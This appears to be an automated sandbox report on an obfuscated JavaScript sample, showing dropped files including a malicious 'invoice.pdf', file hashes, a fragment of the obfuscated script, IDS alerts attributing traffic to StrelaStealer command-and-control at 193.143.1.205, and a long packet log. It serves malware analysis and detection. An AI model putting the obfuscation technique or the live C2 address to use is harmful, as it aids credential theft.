Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d31271f5-acb7-4908-9acd-7e26558b4b0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15980), with CRLF line terminators
Entropy (8bit):	4.922398904720291
TrID:
File name:	8708187442773418429.js
File size:	19'491 bytes
MD5:	3258ddf3b6564b27f65acaa10e9f48ef
SHA1:	30551a19398bb8dc7a4d603038ba5037099943be
SHA256:	25546671bb98a0b73f52b264b9a4e57e0ba09c1c353d06629394077a5cfd4366
SHA512:	068ad0dec254bac1df43c6ba2eb648b33daee3d4c79b97e57b4a386d21088d6f1a9f37b34c4a726277ba0f3badcc457c7740c4f1c61c844dd8c51972ffff4640
SSDEEP:	384:urTcUNhdHEH1caWGwyO3EaCEWvFOQTrMmgtd/DF:urTchitQTrMr/h
TLSH:	EB92204CE4B5CC0B12D831B09BAFA8D36798F2DFC5F5C0AE6C258849126466FE7D2635
File Content Preview:	function cqyqqex(){rwdfi=[1031,3079,5127,4103,2055,3072];var swuuua=this[nolyw+kuvxpodgd+qnqutr+rohpsqz+bmksfx+hxzxps+cdkmnbwmi+butppogox](this[xsnoxg+mmnvv+yqajeychc+qnqutr+ksfmmp+nolyw+butppogox][mhqxtznui+qnqutr+bmksfx+kuvxpodgd+butppogox+bmksfx+tjxca+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:41:15.906497+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:41:15.906497+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:41:18.853115+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:41:15.057492971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.062454939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.062589884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.065810919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.070671082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906421900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906441927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906455040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906487942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906497002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.906498909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906511068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906536102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.906584024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.906615019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906626940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906662941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.906702995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906713963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.906749010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.911295891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.962529898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:15.969860077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.969901085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.969933033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:15.969976902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.025032043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.031198978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031220913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031233072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031243086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031255960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031311035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.031366110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.031466961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031486988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031536102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.031579971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031593084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031645060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.031707048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.031747103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.032402992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.032414913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.032427073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.032460928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.032501936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.032512903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.032540083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.033303022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.033313990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.033324957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.033354044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.033384085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.033401966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.061707973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.061763048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.094609022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.094629049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.094652891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.094665051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.094677925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.094729900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.094811916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.121716022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.121731043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.121859074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.155539036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155550957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155677080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.155738115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155869961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155880928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155941010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.155957937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155968904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.155980110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156004906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.156037092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.156450033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156491995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156536102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.156681061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156755924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156766891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.156796932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.157180071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157192945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157205105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157224894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.157263994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.157319069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157330036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157341003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.157366991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158024073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158035994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158047915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158072948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158098936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158164024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158175945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158186913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158216953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158793926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158835888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158852100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158864021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158902884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.158981085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.158992052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159003019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159024000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.159737110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159748077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159759045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159786940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.159810066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.159876108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159887075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159898043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.159921885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.160578012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.160588980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.160624027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.185153961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.185276031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.219300985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219341040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219358921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219368935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219381094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219394922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219470024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.219501019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219512939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219523907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.219544888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.219579935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.248132944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.248148918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.248220921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.280911922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280932903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280952930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280965090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280975103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280987024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.280992985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281001091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281008959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281013012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281022072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281064987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281065941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281079054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281111002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281238079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281281948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281352043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281364918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281399012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281407118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281414986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281428099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281439066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281471968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281743050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281795025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281795025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281806946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281847954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.281929970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281943083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281953096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.281991005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282295942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282308102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282320976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282356024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282371044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282447100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282459974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282470942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282481909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282500982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282525063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282655954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282668114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282679081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282691002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.282717943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.282732010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283188105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283241987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283282042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283288956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283433914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283444881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283457041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283474922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283499002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283591986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283603907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283613920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283648968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283916950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283929110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283940077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.283965111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.283988953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.284058094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284070015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284081936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284092903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284109116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.284141064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.284275055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284286976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284297943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284308910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.284327030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.284341097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.285830021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.285903931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.285916090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.285959959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.285970926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.285995960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.286006927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286067009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286078930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286112070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.286195040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286206961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286217928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286230087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286240101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.286257982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.286389112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.286433935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.309823036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.309855938 CET	80	49706	193.143.1.205	192.168.2.8
